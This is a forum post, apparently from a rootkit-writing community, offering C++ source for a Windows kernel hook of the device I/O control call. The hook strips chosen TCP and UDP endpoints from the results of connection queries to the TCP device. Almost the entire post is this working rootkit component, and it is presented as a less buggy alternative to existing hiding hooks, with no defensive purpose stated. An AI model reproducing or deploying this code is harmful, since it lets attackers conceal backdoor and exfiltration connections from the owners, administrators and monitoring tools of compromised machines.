port/connection hiding

By: akcom

 

after reading HolyFather's article on rootkits, i wrote a hook to hide connections. I've noticed a few people saying that the already available ones are buggy, so heres my hook (in C++, minor modifications would make it c compatible)


typedef struct _GENERIC_RECORD
{
    ULONG entry1; //state on tcp, local addr on udp
    ULONG entry2; //local addr on tcp, local port on udp
    ULONG entry3; //local port on tcp
    ULONG entry4; //remote addr on tcp
    ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;






NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
    IN HANDLE               FileHandle,
    IN HANDLE               Event OPTIONAL,
    IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
    IN PVOID                ApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK    IoStatusBlock,
    IN ULONG                IoControlCode,
    IN PVOID                InputBuffer OPTIONAL,
    IN ULONG                InputBufferLength,
    OUT PVOID               OutputBuffer OPTIONAL,
    IN ULONG                OutputBufferLength
)
{
    NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
                                FileHandle,
                                Event,
                                ApcRoutine,
                                ApcContext,
                                IoStatusBlock,
                                IoControlCode,
                                InputBuffer,
                                InputBufferLength,
                                OutputBuffer,
                                OutputBufferLength
                                );
    if (!NT_SUCCESS(ntRes))
    {
        return ntRes;
    }
    
    if (IoControlCode != 0x120003)
    {
        return ntRes;
    }
    
    POBJECT_NAME_INFORMATION ObjectName;
    char ObjectNameBuf[512];
    ULONG ReturnLen;
    ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
    ObjectName->Name.MaximumLength = 500;
    ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
    
    char ObjectNameMBS[261];    
    wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
    
    if (stricmp(ObjectNameMBS, "//Device//Tcp") != 0)
    {
        return ntRes;
    }
    
    PBYTE input = (PBYTE)InputBuffer;
    if (InputBufferLength < 17)
    {
        return ntRes;
    }
    
    bool tcp = false;
    /*
    if its tcp, then the first item is
    state, which we need to ignore
    */
    ULONG recordSize = 0;
    if (input[0] == 0x00)
    {
        tcp = true;
        recordSize = sizeof(MIB_TCPROW);
        //tcp
        if (input[16] == 0x02)
        {
            //extended
            recordSize += 4;
        }
    }
    else
    {
        //udp
        recordSize = sizeof(MIB_UDPROW);
        //extended
        if (input[16] == 0x02)
        {
            recordSize += 4;
        }
    }
    
    ULONG entryCount = IoStatusBlock->Information / recordSize;
    
    bool done;
    PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
    
    ULONG i;
    
    ULONG ip;
    USHORT port;
    
    i = 0;
    
    while (i < entryCount)
    {
        ip = tcp ? data->entry2 : data->entry1;
        port = (USHORT)(tcp ? data->entry3 : data->entry2);
        // i use a linked list of records to hide,
        // just replace this with your comparison
        if (
            matchesConMask( ip, port, g_ConList )
           )
        {
            //local stuff
            hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
            IoStatusBlock->Information -= recordSize;
            entryCount--;
        }
        else
        // i use a linked list of records to hide,
        // just replace this with your comparison
        if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
        {
            //remote stuff
            hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
            IoStatusBlock->Information -= recordSize;
            entryCount--;
        }
        else
        {            
            data = (PGENERIC_RECORD)(((char *)data) + recordSize);
            i++;
        }
    }
    
    return ntRes;
}
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